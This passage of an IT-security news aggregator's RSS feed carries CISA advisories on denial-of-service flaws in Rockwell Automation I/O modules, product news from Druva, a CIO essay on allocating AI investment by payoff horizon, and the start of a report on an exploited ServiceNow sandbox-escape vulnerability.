<td>Rockwell Automation</td>
<td>Rockwell Automation 1718-AENTR/1719-AENTR</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9140</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists in the 1719-AENTR. The security issue stems from improper handling of a UDP unicast network storm, which causes the device to become overloaded and lose communication. A power cycle is required to recover.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9140">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation 1718-AENTR/1719-AENTR</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1718/ 1719 Ex I/O: 3.011</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to upgrade to 1718/ 1719 Ex I/O version 3.012 or later.</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation 1734 POINT I/O]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.
The following versions of Rockwell Automation 1734 POINT I/O are affected:

1734 POINT I/O 3.023 





CVSS
Vendor
Equipment
Vulnerabilities




v3 7....]]></description>
<link>https://tsecurity.de/de/3684500/it-security-nachrichten/rockwell-automation-1734-point-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684500/it-security-nachrichten/rockwell-automation-1734-point-io/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-09.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.</strong></p>
<p>The following versions of Rockwell Automation 1734 POINT I/O are affected:</p>
<ul>
<li>1734 POINT I/O 3.023 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation 1734 POINT I/O</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-10573</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists in 1734 POINT I/O module. The security issue stems from improper handling of crafted CIP messages, which can cause the module to enter a faulted state. A restart is required to recover.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-10573">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation 1734 POINT I/O</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1734 POINT I/O: 3.023</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users are to migrate to 5034-OB8.</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Druva brings backup, recovery and governance to AI workloads]]></title>
<description><![CDATA[Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol (MCP), and D...]]></description>
<link>https://tsecurity.de/de/3683890/it-security-nachrichten/druva-brings-backup-recovery-and-governance-to-ai-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683890/it-security-nachrichten/druva-brings-backup-recovery-and-governance-to-ai-workloads/</guid>
<pubDate>Tue, 21 Jul 2026 15:40:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol (MCP), and Dru SRE Agent for agentic service reliability with expanded Dru MetaGraph functionality. These innovations bring enterprise-grade resilience to AI-powered work and the backup environments organizations rely on to recover. Businesses have spent decades … <a href="https://www.helpnetsecurity.com/2026/07/21/druva-brings-backup-recovery-and-governance-to-ai-workloads/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/21/druva-brings-backup-recovery-and-governance-to-ai-workloads/">Druva brings backup, recovery and governance to AI workloads</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Druva brings backup, recovery and governance to AI workloads]]></title>
<description><![CDATA[Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol…
Read more →...]]></description>
<link>https://tsecurity.de/de/3683884/it-security-nachrichten/druva-brings-backup-recovery-and-governance-to-ai-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683884/it-security-nachrichten/druva-brings-backup-recovery-and-governance-to-ai-workloads/</guid>
<pubDate>Tue, 21 Jul 2026 15:39:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/druva-brings-backup-recovery-and-governance-to-ai-workloads/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/druva-brings-backup-recovery-and-governance-to-ai-workloads/">Druva brings backup, recovery and governance to AI workloads</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ServiceNow’s sandbox escape RCE hole now exploited in the wild]]></title>
<description><![CDATA[A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to a report from threat intel firm Defused. 



The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceN...]]></description>
<link>https://tsecurity.de/de/3682156/it-security-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682156/it-security-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</guid>
<pubDate>Mon, 20 Jul 2026 22:53:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to <a href="https://x.com/defusedcyber/status/2078418391321219448" target="_blank" rel="noreferrer noopener">a report from threat intel firm Defused</a>. </p>



<p class="wp-block-paragraph">The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceNow pre-auth sandbox-escape RCE (CVE-2026-6875).”</p>



